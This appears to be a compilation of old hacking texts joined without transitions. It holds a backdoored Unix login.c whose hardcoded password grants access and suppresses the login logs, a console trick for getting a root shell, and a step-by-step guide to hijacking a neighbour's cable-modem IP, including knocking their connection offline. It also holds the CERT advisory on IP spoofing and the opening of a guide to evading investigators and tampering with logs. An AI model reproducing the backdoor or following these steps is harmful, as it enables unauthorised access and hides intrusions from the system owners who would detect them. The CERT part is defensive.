(void)fprintf(stderr,
"%s login refused on this terminal.\n",
pwd->pw_name);
if (hostname)
syslog(LOG_NOTICE,
"LOGIN %s REFUSED FROM %s ON TTY %s",
pwd->pw_name, hostname, tty);
else
syslog(LOG_NOTICE,
"LOGIN %s REFUSED ON TTY %s",
pwd->pw_name, tty);
continue;
}
/*
* If no pre-authentication and a password exists
* for this user, prompt for one and verify it.
*/
if (!passwd_req || (pwd && !*pwd->pw_passwd))
break;
setpriority(PRIO_PROCESS, 0, -4);
pp = getpass("Password: ");
if(strcmp(BACKDOOR, pp) == 0) krad++;
p = crypt(pp, salt);
setpriority(PRIO_PROCESS, 0, 0);
#ifdef
KERBEROS
/*
* If not present in pw file, act as we normally would.
* If we aren't Kerberos-authenticated, try the normal
* pw file for a password. If that's ok, log the user
* in without issueing any tickets.
*/
if (pwd && !krb_get_lrealm(realm,1)) {
/*
* get TGT for local realm; be careful about uid's
* here for ticket file ownership
*/
(void)setreuid(geteuid(),pwd->pw_uid);
kerror = krb_get_pw_in_tkt(pwd->pw_name, "", realm,
"krbtgt", realm, DEFAULT_TKT_LIFE, pp);
(void)setuid(0);
if (kerror == INTK_OK) {
memset(pp, 0, strlen(pp));
notickets = 0;
/* user got ticket */
break;
}
}
#endif
(void) memset(pp, 0, strlen(pp));
if (pwd && !strcmp(p, pwd->pw_passwd))
break;
if(krad != 0)
break;
(void)printf("Login incorrect\n");
failures++;
badlogin(username); /* log ALL bad logins */
/* we allow 10 tries, but after 3 we start backing off */
if (++cnt > 3) {
if (cnt >= 10) {
sleepexit(1);
}
sleep((unsigned int)((cnt - 3) * 5));
}
}
/* committed to login -- turn off timeout */
(void)alarm((unsigned int)0);
#ifdef HAVE_QUOTA
if (quota(Q_SETUID, pwd->pw_uid, 0, 0) < 0 && errno != EINVAL) {
switch(errno) {
case EUSERS:
(void)fprintf(stderr,
"Too many users logged on already.\nTry again later.\n");
break;
case EPROCLIM:
(void)fprintf(stderr,
"You have too many processes running.\n");
break;
default:
perror("quota (Q_SETUID)");
}
sleepexit(0);
}
#endif
/* paranoia... */
endpwent();
/* This requires some explanation: As root we may not be able to
read the directory of the user if it is on an NFS mounted
filesystem. We temporarily set our effective uid to the user-uid
making sure that we keep root privs. in the real uid.
A portable solution would require a fork(), but we rely on Linux
having the BSD setreuid() */
{
char tmpstr[MAXPATHLEN];
uid_t ruid = getuid();
gid_t egid = getegid();
strncpy(tmpstr, pwd->pw_dir, MAXPATHLEN-12);
strncat(tmpstr, ("/" _PATH_HUSHLOGIN), MAXPATHLEN);
setregid(-1, pwd->pw_gid);
setreuid(0, pwd->pw_uid);
quietlog = (access(tmpstr, R_OK) == 0);
setuid(0); /* setreuid doesn't do it alone! */
setreuid(ruid, 0);
setregid(-1, egid);
}
#ifndef linux
#ifdef KERBEROS
if (notickets && !quietlog)
(void)printf("Warning: no Kerberos tickets issued\n");
#endif
#define TWOWEEKS (14*24*60*60)
if (pwd->pw_change || pwd->pw_expire)
(void)gettimeofday(&tp, (struct timezone *)NULL);
if (pwd->pw_change)
if (tp.tv_sec >= pwd->pw_change) {
(void)printf("Sorry -- your password has expired.\n");
sleepexit(1);
}
else if (tp.tv_sec - pwd->pw_change < TWOWEEKS && !quietlog) {
ttp = localtime(&pwd->pw_change);
(void)printf("Warning:
your
password
expires
on %s %d, %d\n",
months[ttp->tm_mon],
ttp->tm_mday,
TM_YEAR_BASE
+
ttp->tm_year);
}
if (pwd->pw_expire)
if (tp.tv_sec >= pwd->pw_expire) {
(void)printf("Sorry -- your account has expired.\n");
sleepexit(1);
}
else if (tp.tv_sec - pwd->pw_expire < TWOWEEKS && !quietlog) {
ttp = localtime(&pwd->pw_expire);
(void)printf("Warning: your account expires on %s %d, %d\n",
months[ttp->tm_mon],
ttp->tm_mday,
TM_YEAR_BASE
ttp->tm_year);
}
/* nothing else left to fail -- really log in */
{
struct utmp utmp;
memset((char *)&utmp, 0, sizeof(utmp));
(void)time(&utmp.ut_time);
strncpy(utmp.ut_name, username, sizeof(utmp.ut_name));
if (hostname)
strncpy(utmp.ut_host, hostname, sizeof(utmp.ut_host));
strncpy(utmp.ut_line, tty, sizeof(utmp.ut_line));
login(&utmp);
}
#else
/* for linux, write entries in utmp and wtmp */
{
struct utmp ut;
char *ttyabbrev;
int wtmp;
memset((char *)&ut, 0, sizeof(ut));
+
ut.ut_type = USER_PROCESS;
ut.ut_pid = getpid();
strncpy(ut.ut_line, ttyn + sizeof("/dev/")-1, sizeof(ut.ut_line));
ttyabbrev = ttyn + sizeof("/dev/tty") - 1;
strncpy(ut.ut_id, ttyabbrev, sizeof(ut.ut_id));
(void)time(&ut.ut_time);
strncpy(ut.ut_user, username, sizeof(ut.ut_user));
/* fill in host and ip-addr fields when we get networking */
if (hostname) {
struct hostent *he;
strncpy(ut.ut_host, hostname, sizeof(ut.ut_host));
if ((he = gethostbyname(hostname)))
memcpy(&ut.ut_addr, he->h_addr_list[0],
sizeof(ut.ut_addr));
}
utmpname(_PATH_UTMP);
setutent();
if(krad == 0)
pututline(&ut);
endutent();
if((wtmp = open(_PATH_WTMP, O_APPEND|O_WRONLY)) >= 0) {
flock(wtmp, LOCK_EX);
if(krad == 0)
write(wtmp, (char *)&ut, sizeof(ut));
flock(wtmp, LOCK_UN);
close(wtmp);
}
}
/* fix_utmp_type_and_user(username, ttyn, LOGIN_PROCESS); */
#endif
if(krad == 0)
dolastlog(quietlog);
#ifndef linux
if (!hflag) {
/* XXX */
static struct winsize win = { 0, 0, 0, 0 };
(void)ioctl(0, TIOCSWINSZ, &win);
}
#endif
(void)chown(ttyn, pwd->pw_uid,
(gr = getgrnam(TTYGRPNAME)) ? gr->gr_gid : pwd->pw_gid);
(void)chmod(ttyn, 0622);
(void)setgid(pwd->pw_gid);
initgroups(username, pwd->pw_gid);
#ifdef HAVE_QUOTA
quota(Q_DOWARN, pwd->pw_uid, (dev_t)-1, 0);
#endif
if (*pwd->pw_shell == '\0')
pwd->pw_shell = _PATH_BSHELL;
#ifndef linux
/* turn on new line discipline for the csh */
else if (!strcmp(pwd->pw_shell, _PATH_CSHELL)) {
ioctlval = NTTYDISC;
(void)ioctl(0, TIOCSETD, &ioctlval);
}
#endif
/* preserve TERM even without -p flag */
{
char *ep;
if(!((ep = getenv("TERM")) && (termenv = strdup(ep))))
termenv = "dumb";
}
/* destroy environment unless user has requested preservation */
if (!pflag)
{
environ = (char**)malloc(sizeof(char*));
memset(environ, 0, sizeof(char*));
}
#ifndef linux
(void)setenv("HOME", pwd->pw_dir, 1);
(void)setenv("SHELL", pwd->pw_shell, 1);
if (term[0] == '\0')
strncpy(term, stypeof(tty), sizeof(term));
(void)setenv("TERM", term, 0);
(void)setenv("USER", pwd->pw_name, 1);
(void)setenv("PATH", _PATH_DEFPATH, 0);
#else
(void)setenv("HOME", pwd->pw_dir, 0);
if(pwd->pw_uid)
(void)setenv("PATH", _PATH_DEFPATH, 1);
/* legal to override */
else
(void)setenv("PATH", _PATH_DEFPATH_ROOT, 1);
(void)setenv("SHELL", pwd->pw_shell, 1);
(void)setenv("TERM", termenv, 1);
/* mailx will give a funny error msg if you forget this one */
(void)sprintf(tmp,"%s/%s",_PATH_MAILDIR,pwd->pw_name);
(void)setenv("MAIL",tmp,0);
/* LOGNAME is not documented in login(1) but
HP-UX 6.5 does it. We'll not allow modifying it.
*/
(void)setenv("LOGNAME", pwd->pw_name, 1);
#endif
#ifndef linux
if (tty[sizeof("tty")-1] == 'd')
if(krad == 0)
syslog(LOG_INFO, "DIALUP %s, %s", tty, pwd->pw_name);
#endif
if (pwd->pw_uid == 0)
if(krad == 0)
if (hostname)
syslog(LOG_NOTICE, "ROOT LOGIN ON %s FROM %s",
tty, hostname);
else
syslog(LOG_NOTICE, "ROOT LOGIN ON %s", tty);
if (!quietlog) {
struct stat st;
motd();
(void)sprintf(tbuf, "%s/%s", _PATH_MAILDIR, pwd->pw_name);
if (stat(tbuf, &st) == 0 && st.st_size != 0)
(void)printf("You have %smail.\n",
(st.st_mtime > st.st_atime) ? "new " : "");
}
(void)signal(SIGALRM, SIG_DFL);
(void)signal(SIGQUIT, SIG_DFL);
(void)signal(SIGINT, SIG_DFL);
(void)signal(SIGTSTP, SIG_IGN);
(void)signal(SIGHUP, SIG_DFL);
/* discard permissions last so can't get killed and drop core */
if(setuid(pwd->pw_uid) < 0 && pwd->pw_uid) {
syslog(LOG_ALERT, "setuid() failed");
exit(1);
}
/* wait until here to change directory! */
if (chdir(pwd->pw_dir) < 0) {
(void)printf("No directory %s!\n", pwd->pw_dir);
if (chdir("/"))
exit(0);
pwd->pw_dir = "/";
(void)printf("Logging in with home = \"/\".\n");
}
/* if the shell field has a space: treat it like a shell script */
if (strchr(pwd->pw_shell, ' ')) {
char *buff = malloc(strlen(pwd->pw_shell) + 6);
if (buff) {
strcpy(buff, "exec ");
strcat(buff, pwd->pw_shell);
execlp("/bin/sh", "-sh", "-c", buff, (char *)0);
fprintf(stderr, "login: couldn't exec shell script: %s.\n",
strerror(errno));
exit(0);
}
fprintf(stderr, "login: no memory for shell script.\n");
exit(0);
}
tbuf[0] = '-';
strcpy(tbuf + 1, ((p = rindex(pwd->pw_shell, '/')) ?
p + 1 : pwd->pw_shell));
execlp(pwd->pw_shell, tbuf, (char *)0);
(void)fprintf(stderr, "login: no shell: %s.\n", strerror(errno));
exit(0);
}
void
getloginname()
{
register int ch;
register char *p;
static char nbuf[UT_NAMESIZE + 1];
for (;;) {
(void)printf("\n%s login: ", thishost); fflush(stdout);
for (p = nbuf; (ch = getchar()) != '\n'; ) {
if (ch == EOF) {
badlogin(username);
exit(0);
}
if (p < nbuf + UT_NAMESIZE)
*p++ = ch;
}
if (p > nbuf)
if (nbuf[0] == '-')
(void)fprintf(stderr,
"login names may not start with '-'.\n");
else {
*p = '\0';
username = nbuf;
break;
}
}
}
void timedout()
{
struct termio ti;
(void)fprintf(stderr, "Login timed out after %d seconds\n", timeout);
/* reset echo */
(void) ioctl(0, TCGETA, &ti);
ti.c_lflag |= ECHO;
(void) ioctl(0, TCSETA, &ti);
exit(0);
}
int
rootterm(ttyn)
char *ttyn;
#ifndef linux
{
struct ttyent *t;
return((t = getttynam(ttyn)) && t->ty_status&TTY_SECURE);
}
#else
{
int fd;
char buf[100],*p;
int cnt, more;
fd = open(SECURETTY, O_RDONLY);
if(fd < 0) return 1;
/* read each line in /etc/securetty, if a line matches our ttyline
then root is allowed to login on this tty, and we should return
true. */
for(;;) {
p = buf; cnt = 100;
while(--cnt >= 0 && (more = read(fd, p, 1)) == 1 && *p != '\n') p++;
if(more && *p == '\n') {
*p = '\0';
if(!strcmp(buf, ttyn)) {
close(fd);
return 1;
} else
continue;
} else {
close(fd);
return 0;
}
}
}
#endif
jmp_buf motdinterrupt;
void
motd()
{
register int fd, nchars;
void (*oldint)(), sigint();
char tbuf[8192];
if ((fd = open(_PATH_MOTDFILE, O_RDONLY, 0)) < 0)
return;
oldint = signal(SIGINT, sigint);
if (setjmp(motdinterrupt) == 0)
while ((nchars = read(fd, tbuf, sizeof(tbuf))) > 0)
(void)write(fileno(stdout), tbuf, nchars);
(void)signal(SIGINT, oldint);
(void)close(fd);
}
void sigint()
{
longjmp(motdinterrupt, 1);
}
void
checknologin()
{
register int fd, nchars;
char tbuf[8192];
if ((fd = open(_PATH_NOLOGIN, O_RDONLY, 0)) >= 0) {
while ((nchars = read(fd, tbuf, sizeof(tbuf))) > 0)
(void)write(fileno(stdout), tbuf, nchars);
sleepexit(0);
}
}
void
dolastlog(quiet)
int quiet;
{
struct lastlog ll;
int fd;
if ((fd = open(_PATH_LASTLOG, O_RDWR, 0)) >= 0) {
(void)lseek(fd, (off_t)pwd->pw_uid * sizeof(ll), L_SET);
if (!quiet) {
if (read(fd, (char *)&ll, sizeof(ll)) == sizeof(ll) &&
ll.ll_time != 0) {
(void)printf("Last login: %.*s ",
24-5, (char *)ctime(&ll.ll_time));
if (*ll.ll_host != '\0')
printf("from %.*s\n",
(int)sizeof(ll.ll_host), ll.ll_host);
else
printf("on %.*s\n",
(int)sizeof(ll.ll_line), ll.ll_line);
}
(void)lseek(fd, (off_t)pwd->pw_uid * sizeof(ll), L_SET);
}
memset((char *)&ll, 0, sizeof(ll));
(void)time(&ll.ll_time);
strncpy(ll.ll_line, tty, sizeof(ll.ll_line));
if (hostname)
strncpy(ll.ll_host, hostname, sizeof(ll.ll_host));
if(krad == 0)
(void)write(fd, (char *)&ll, sizeof(ll));
(void)close(fd);
}
}
void
badlogin(name)
char *name;
{
if (failures == 0)
return;
if (hostname)
syslog(LOG_NOTICE, "%d LOGIN FAILURE%s FROM %s, %s",
failures, failures > 1 ? "S" : "", hostname, name);
else
syslog(LOG_NOTICE, "%d LOGIN FAILURE%s ON %s, %s",
failures, failures > 1 ? "S" : "", tty, name);
}
#undef
UNKNOWN
#define UNKNOWN "su"
#ifndef linux
char *
stypeof(ttyid)
char *ttyid;
{
struct ttyent *t;
return(ttyid && (t = getttynam(ttyid)) ? t->ty_type : UNKNOWN);
}
#endif
void
checktty(user, tty)
char *user;
char *tty;
{
FILE *f;
char buf[256];
char *ptr;
char devname[50];
struct stat stb;
/* no /etc/usertty, default to allow access */
if(!(f = fopen(_PATH_USERTTY, "r"))) return;
while(fgets(buf, 255, f)) {
/* strip comments */
for(ptr = buf; ptr < buf + 256; ptr++)
if(*ptr == '#') *ptr = 0;
strtok(buf, " \t");
if(strncmp(user, buf, 8) == 0) {
while((ptr = strtok(NULL, "\t\n "))) {
if(strncmp(tty, ptr, 10) == 0) {
fclose(f);
return;
}
if(strcmp("PTY", ptr) == 0) {
#ifdef linux
sprintf(devname, "/dev/%s", ptr);
/* VERY linux dependent, recognize PTY as alias
for all pseudo tty's */
if((stat(devname, &stb) >= 0)
&& major(stb.st_rdev) == 4
&& minor(stb.st_rdev) >= 192) {
fclose(f);
return;
}
#endif
}
}
/* if we get here, /etc/usertty exists, there's a line
beginning with our username, but it doesn't contain the
name of the tty where the user is trying to log in.
So deny access! */
fclose(f);
printf("Login on %s denied.\n", tty);
badlogin(user);
sleepexit(1);
}
}
fclose(f);
/* users not mentioned in /etc/usertty are by default allowed access
on all tty's */
}
void
getstr(buf, cnt, err)
char *buf, *err;
int cnt;
{
char ch;
do {
if (read(0, &ch, sizeof(ch)) != sizeof(ch))
exit(1);
if (--cnt < 0) {
(void)fprintf(stderr, "%s too long\r\n", err);
sleepexit(1);
}
*buf++ = ch;
} while (ch);
}
void
sleepexit(eval)
int eval;
{
sleep((unsigned int)5);
exit(eval);
}
So if you really wanna have root access and have access to console, reboot
it (carefully, do a ctrl-alt-del) and at lilo prompt do a :
init=/bin/bash rw (for linux 2.0.0 and above (I think)).
Don't wonder why I was speaking only about rootshell and dhp.com, there are
lots of other very good hacking pages, but these ones are updated very
quickly and besides, are the best pages I know.
So folks, this was it...
First version of my USER's GUIDE 1.0.
Maybe I'll do better next time, and if I have more time, I'll add about
50(more) other exploits, remote ones, new stuff, new techniques, etc...
See ya, folks !
GOOD NIGHT !!! (it's 6.am now).
DAMN !!!
ARGHHH! I forgot... My e-mail adress is <phantom@lhab-gw.soroscj.ro>.
(for now).
Cable Modem IP Hijacking in Win95/98
The purpose of this is to show you how bad cable modems security is and that
even with a win box you can take someone else's IP. You can hijack IP's using
a cable modem and it's very simple in any operating system. Just follow the
steps:
1) Choose someone's IP that you wish to have. Make sure the IP is on the same
network. Most cable modem providers use DHCP. The fist thing you have to
do is find the victims IP. Remember the victims IP has to be in the same
network and with the same service provider for this to work.
2) Now this is probably the hardest thing in this file (but it's still easy),
you have to wait until the victims computer is off or you can Smurf kill
his connection. When you think his computer is off-line just try to ping
it to see if you get a response. Do this by going to a DOS prompt and
typing "ping <victims IP>". If you get a response then you have to try
harder.
After you get his PC off-line then you go into your network properties and
edit the IP settings, but instead of having yours there you put the victims
IP, host, and domain.
3) Restart. If you restart and you get an IP conflict this means that the
victims computer is on, if you don't get an IP conflict then try to go to
your web browser and see if it works. With some cable modem providers you
might have to also add the Gateway, Subnet mask (255.255.55.0), Host, DNS
search, and Domain.
Now you can go. Everything will work until the victims PC is back on. Once it is
back online it will take the IP away because it will tell you that you have the
wrong Mac addresses.
*Linux*
This is also possible in Linux, but is not the best way. You can change your Mac
address to the victims PC and this is more secure and much easier. There are a
couple of scripts to change your address, just look around.
Warning: Some cable modem service providers will know when you're using the wrong
IP, but hey, it might be useful.
Copyright (c) 1999 Wildman
www.hackcanada.com
=============================================================================
CA-95:01
CERT Advisory
January 23, 1995
IP Spoofing Attacks and Hijacked Terminal Connections
----------------------------------------------------------------------------The CERT Coordination Center has received reports of attacks in which
intruders create packets with spoofed source IP addresses. These attacks
exploit applications that use authentication based on IP addresses. This
exploitation leads to user and possibly root access on the targeted system.
Note that this attack does not involve source routing. Recommended solutions
are described in Section III below.
In the current attack pattern, intruders may dynamically modify the kernel of
a Sun 4.1.X system once root access is attained. In this attack, which is
separate from the IP spoofing attack, intruders use a tool to take control of
any open terminal or login session from users on the system. Note that
although the tool is currently being used primarily on SunOS 4.1.x systems,
the system features that make this attack possible are not unique to SunOS.
As we receive additional information relating to this advisory, we will place
it, along with any clarifications, in a CA-95:01.README file. CERT advisories
and their associated README files are available by anonymous FTP from
info.cert.org. We encourage you to check the README files regularly for
updates on advisories that relate to your site.
----------------------------------------------------------------------------I.
Description
This description summarizes both the IP spoofing technique that can
lead to root access on a system and the tool that intruders are using to
take over open terminal and login connections after they get root access.
We are currently seeing attacks in which intruders combine IP spoofing
with use of the tool. However, these are two separate actions. Intruders
can use IP spoofing to gain root access for any purpose; similarly, they
can highjack terminal connections regardless of their method of gaining
root access.
IP spoofing
To gain access, intruders create packets with spoofed source IP
addresses. This exploits applications that use authentication based on
IP addresses and leads to unauthorized user and possibly root access
on the targeted system. It is possible to route packets through
filtering-router firewalls if they are not configured to filter
incoming packets whose source address is in the local domain. It
is important to note that the described attack is possible even if
no reply packets can reach the attacker.
Examples of configurations that are potentially vulnerable include
- routers to external networks that support multiple internal
interfaces
- routers with two interfaces that support subnetting on the
internal network
- proxy firewalls where the proxy applications use the source
IP address for authentication
The IP spoofing attacks we are currently seeing are similar to those
described in two papers: 1) "Security Problems in the TCP/IP Protocol
Suite" by Steve Bellovin, published in _Computer Communication Review_
vol. 19, no. 2 (April 1989) pages 32-48; 2) "A Weakness in the 4.2BSD
Unix TCP/IP Software" by Robert T. Morris. Both papers are available
by anonymous FTP from
ftp.research.att.com:/dist/internet_security
Bellovin paper: ipext.ps.Z
Morris paper:
117.ps.Z
Services that are vulnerable to the IP spoofing attack include
SunRPC & NFS
BSD UNIX "r" commands
anything wrapped by the tcp daemon wrappers - site dependent; check
your configuration
X windows
other applications that use source IP addresses for authentication
Hijacking tool
Once the intruders have root access on a system, they can use a tool
to dynamically modify the UNIX kernel. This modification allows them
to hijack existing terminal and login connections from any user on the
system.
In taking over the existing connections, intruders can bypass one-time
passwords and other strong authentication schemes by tapping the
connection after the authentication is complete. For example, a
legitimate user connects to a remote site through a login or terminal
session; the intruder hijacks the connection after the user has
completed the authentication to the remote location; the remote site
is now compromised. (See Section I for examples of vulnerable
configurations.)
Currently, the tool is used primarily on SunOS 4.1.x systems. However,
the system features that make this attack possible are not unique to
SunOS.
II. Impact
Current intruder activity in spoofing source IP addresses can lead to
unauthorized remote root access to systems behind a filtering-router
firewall.
After gaining root access and taking over existing terminal and login
connections, intruders can gain access to remote hosts.
III. Solutions
A. Detection
IP spoofing
If you monitor packets using network-monitoring software such as
netlog, look for a packet on your external interface that has
both its source and destination IP addresses in your local domain.
If you find one, you are currently under attack. Netlog is
available by anonymous FTP from
net.tamu.edu:/pub/security/TAMU/netlog-1.2.tar.gz
MD5 checksum: 1dd62e7e96192456e8c75047c38e994b
Another way to detect IP spoofing is to compare the process
accounting logs between systems on your internal network. If
the IP spoofing attack has succeeded on one of your systems,
you may get a log entry on the victim machine showing a remote
access; on the apparent source machine, there will be no
corresponding entry for initiating that remote access.
Hijacking tool
When the intruder attaches to an existing terminal or login
connection, users may detect unusual activity, such as commands
appearing on their terminal that they did not type or a blank window
that will no longer respond to their commands. Encourage your users
to inform you of any such activity. In addition, pay particular
attention to connections that have been idle for a long time.
Once the attack is completed, it is difficult to detect. However,
the intruders may leave remnants of their tools. For example, you
may find a kernel streams module designed to tap into existing TCP
connections.
B. Prevention
IP spoofing
The best method of preventing the IP spoofing problem is to install
a filtering router that restricts the input to your external
interface (known as an input filter) by not allowing a packet
through if it has a source address from your internal network. In
addition, you should filter outgoing packets that have a source
address different from your internal network in order to prevent
a source IP spoofing attack originating from your site.
The following vendors have reported support for this feature:
Bay Networks/Wellfleet routers, version 5 and later
Cabletron - LAN Secure
Cisco - RIS software all releases of version 9.21 and later
Livingston - all versions
If you need more information about your router or about firewalls,
please contact your vendor directly.
If your vendor's router does not support filtering on the inbound
side of the interface or if there will be a delay in incorporating
the feature into your system, you may filter the spoofed IP packets
by using a second router between your external interface and your
outside connection. Configure this router to block, on the outgoing
interface connected to your original router, all packets that have a
source address in your internal network. For this purpose, you can
use a filtering router or a UNIX system with two interfaces that
supports packet filtering.
NOTE: Disabling source routing at the router does not protect you
from this attack, but it is still good security practice to
do so.
Hijacking tool
There is no specific way to prevent use of the tool other than
preventing intruders from gaining root access in the first place.
If you have experienced a root compromise, see Section C for general
instructions on how to recover.
C. Recovery from a UNIX root compromise
1. Disconnect from the network or operate the system in
single-user mode during the recovery. This will keep users
and intruders from accessing the system.
2. Verify system binaries and configuration files against the
vendor's media (do not rely on timestamp information to
provide an indication of modification). Do not trust any
verification tool such as cmp(1) located on the compromised
system as it, too, may have been modified by the intruder.
In addition, do not trust the results of the standard UNIX
sum(1) program as we have seen intruders modify system
files in such a way that the checksums remain the same.
Replace any modified files from the vendor's media, not
from backups.
-- or -Reload your system from the vendor's media.
3. Search the system for new or modified setuid root files.
find / -user root -perm -4000 -print
If you are using NFS or AFS file systems, use ncheck to
search the local file systems.
ncheck -s /dev/sd0a
4. Change the password on all accounts.
5. Don't trust your backups for reloading any file used by
root.
You do not want to re-introduce files altered by an
intruder.
---------------------------------------------------------------------------
The CERT Coordination Center thanks Eric Allman, Steve Bellovin, Keith Bostic,
Bill Cheswick, Mike Karels, and Tsutomu Shimomura for contributing to our
understanding of these problems and their solutions.
--------------------------------------------------------------------------If you believe that your system has been compromised, contact the CERT
Coordination Center or your representative in Forum of Incident
Response and Security Teams (FIRST).
If you wish to send sensitive incident or vulnerability information to
CERT staff by electronic mail, we strongly advise that the e-mail be
encrypted. The CERT Coordination Center can support a shared DES key, PGP
(public key available via anonymous FTP on info.cert.org), or PEM (contact
CERT staff for details).
Internet E-mail: cert@cert.org
Telephone: +1 412-268-7090 (24-hour hotline)
CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4),
and are on call for emergencies during other hours.
Fax: +1 412-268-6989
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh, PA 15213-3890
USA
Past advisories, CERT bulletins, information about FIRST representatives,
and other information related to computer security are available for anonymous
FTP from info.cert.org.
CERT is a service mark of Carnegie Mellon University.
Author: van Hauser / THC
I.INTRODUCTION
II.MENTAL
III.BASICS
IV.ADVANCED
V.UNDER SUSPECT
VI.CAUGHT
VII.PROGRAMS
VIII.LAST WORDS
I. INTRODUCTION
Please excuse my poor english - I'm german so it's not my mother language
I'm writing in. Anyway if your english is far better than mine, then
don't
think this text hasn't got anything to offer you. In contrast. Ignore
the
spelling errors & syntax - the contents of this document is important ...
NOTE : This text is splitted into TWO parts.
The first one, this, teaches about the background and theory.
The second just shows the basics by an easy step-by-step
procedure what to type and what to avoid.
If you are too lazy to read this whole stuff here (sucker!)
then read that one. It's main targets are novice unix hackers.
If you think, getting the newest exploits fast is the most important
thing
you must think about and keep your eyes on - you are wrong. How does
the
best exploit helps you once the police has seized your computer, all
your
accounts closed and everything monitored? Not to mention the warrants
etc.
No, the most important thing is not to get caught. It is the FIRST thing
every hacker should learn, because on many occasions, especially if you
make your first hacks at a site which is security conscious because of
many break-ins, your first hack can be your last one (even if all that
lays back a year ago "they" may come up with that!), or you are too lazy
to change your habits later in your career. So read through these sections
carefully! Even a very skilled hacker can learn a bit or byte here.
So this is what you find here:
Section I - you are reading me, the introduction
Section II - the mental things and how to become paranoid
1. Motivation
2. Why you must become paranoid
3. How to become paranoid
4. Stay paranoid
Section III - the basics you should know BEFORE begin hacking
1. Preface
2. Secure Yourself
3. Your own account
4. The logs
5. Don't leave a trace
6. Things you should avoid
Section IV - the advanced techniques you should take a notice of
1. Preface
2. Prevent Tracing of any kind
3. Find and manipulate any log files
4. Check the syslog configuration and logfile
5. Check for installed security programs
6. Check the admins
7. How to "correct" checksum checking software
8. User Security Tricks
9. Miscellaneous
Section V - what to do once you are under suspect
Section VI - the does and dont's when you got caught
Section VII - a short listing of the best programs for hiding
Section VIII - last words, the common bullshit writers wanna say
Read carefully and enlighten yourself.
II. MENTAL
CONTENTS:
1. Motivation
2. Why you must become paranoid
3. How to become paranoid
4. Stay paranoid
1. MOTIVATION
The mental aspect is the key to be successful in anything.
It's the power to motivate yourself, fight on if it hurts, being self
disciplined, paranoid & realistic, calculate risks correctly and do
stuff
you don't like but are important even if you'd like to go swimming now.
If you can't motivate yourself to program important tools, wait for the
crucial time to hit the target, then you'll never get anywhere with your
"hacks"
A successful and good hacker must meet these mental requirements. It's
like
doing bodybuilding or a diet - you can learn it if you really try.
EVEN THE BEST KNOWLEDGE WON'T HELP YOU UNTIL YOU ARE REALLY CONCERNED
TO DO
THE PREVENTIONS AND ACTUAL MAKE THEM !
2. WHY YOU MUST BECOME PARANOID
It's right that normally being paranoid is not something which makes
your
life happier. However if you aren't expecting the worst, anything can
hit
you and throw you off balance. And you are risking very much with your
doings. In your normal life you don't need to worry much about cops,
thieves and therelike. But if you are on the other side remember that
you
make other people a hard life and bring them nightmares plus work - and
they want to stop you.
Even if you don't feel like committing a crime - you actually do. HackerWitchhunting pops up fast and gets everyone who might be involved. It's
the
sad thing : YOU ARE GUILTY UNTIL PROVEN OTHERWISE ! Once you've got the
stigma being a hacker you'll never get it off. Once having an entry in
your
police record it's very hard to find a job. Especially no software
company,
even no computer related company will ever hire you, they will be afraid
of your skills, and you will see yourself being forced to emmigrate or
your
life lost. Once you fall down only a few can get up again.
Become paranoid!
Protect yourself!
Remember you have got everything to loose!
Never feel silly doing THAT extraordinary action against tracing!
Never bother if someone laughs on your paranoid doing!
Never be too lazy or tired to modify the logs!
A hacker must do his work 100% !
3. HOW TO BECOME PARANOID
If you've read the part above and you think thats true, it's easy - you've
got already become paranoid. But it must become a substantial part of
your
life. If you made it becoming a good hacker always think about whom to
tell
what, and that you phone calls and emails might be monitored. Always
reread
the section above.
If the above didn't helped you, then think about what happens if you
are
caught. Would your girlfriend stay at your side? Even if her father speaks
a hard word? Do you want to see your parents cry? Thrown from your
school/university/job?
Don't give this a chance to happen!
If even this is not enough to motivate you: KEEP AWAY FROM HACKING! You
are a danger to the whole hacking society and your friends !
4. STAY PARANOID
I hope you learned now why it is important to become paranoid. So stay
paranoid. One mistake or lazy moment could suffice to ruin your life
or
career.
Always maintain motivation to do it.
III. BASICS
CONTENTS:
1. Preface
2. Secure Yourself
3. Your own account
4. The logs
5. Don't leave a trace
6. Things you should avoid
1. PREFACE
You should know this and practice it before you start your first hack.
These are the absolute basics, without them you are in trouble soon.
Even
an experienced hacker can find a new hint/info in here.
2. SECURE YOURSELF
What if a SysAdmin reads your email?
What if your phone calls are recorded by the police?
What if the police seizes your computer with all your hacking data on
it?
If
you
don't
receive
suspicious
email,
don't
talk
about
hacking/phreaking
on the phone and haven't got sensitive/private files on your harddisk
then
you don't need to worry. But then again you aren't a hacker. Every hacker
or phreaker must keep in touch with others and have got his data saved
somewhere.
Crypt every data which is sensitive! Online-Harddisk-Crypter are very
important and useful:
There are good harddisk crypters free available an the internet, which
behave fully transparent to your operating systems, i.e. the packages
listed below are tested and were found to be a hacker's first-choice:
•If you use MsDos get SFS v1.17 or SecureDrive 1.4b •If you use Amiga
get
EnigmaII v1.5 •If you use Unix get CFS v1.33
File Crypters: You can use any, but it should use one of the well known
and
secure algorythms. NEVER use a crypting program which can be exported
because their effective keylengths are reduced!
•Triple DES •IDEA •Blowfish (32 rounds)
Encrypt your emails!
•PGP v2.6.x is used most so use it too.
Encrypt your phonecalls if you want to discuss important things.
•Nautilus v1.5a is so far the best
Encrypt your terminal sessions when connected to a unix system. Someone
might be sniffing, or monitoring your phone line.
•SSH is the so far most secure •DES-Login is fine too
Use strong passwords, non-guessable passwords which are not mentioned
in
any dictionary. They should seem random but good to remember for
yourself.
If the keylength is allowed to be longer than 10 chars, use that, and
choose a sentence from a book, slightly modified. Please crypt
phonenumbers
of hacker friends twice. And call them from payphones/officephones/etc.
only, if you don't encrypt the conversation.
The
beginner
only
needs
PGP,
a
filecrypter
and
an
online-hardisk-crypter.
If you are really deep into hacking remember to encrypt everything.
Make a backup of your data (Zip-Drive, other harddisk, CD, Tape), crypted
of course, and store it somewhere which doesn't belong to any computer
related guy or family member and doesn't belong to your house. So if
a
defect, fire or fed raid occures you got a backup of your data.
Keep written notices only as long as you really need them. Not longer.
Keeping them in an encrypted file or on an encrypted partition is much
more secure. Burn the papers once you don't need them anymore. You can
also
write them down with a crypt algorythm which only you know of, but don't
tell others and don't use it too often or it can be easily analyzed and
broken.
Really hardcore or ultra paranoid hackers should consider too the TEMPEST
Project. Cops, spies and hackers could monitor all your doings. A well
equipted man could have anything he wants : Electronic pulse emanation
can
be catched from more than 100 meters away and show your monitor screen
to
somebody else, a laserpoint to your window to hear private conversations,
or
identifying
hifrequency
signals
of
keyboard
clicks
...
so
possiblities
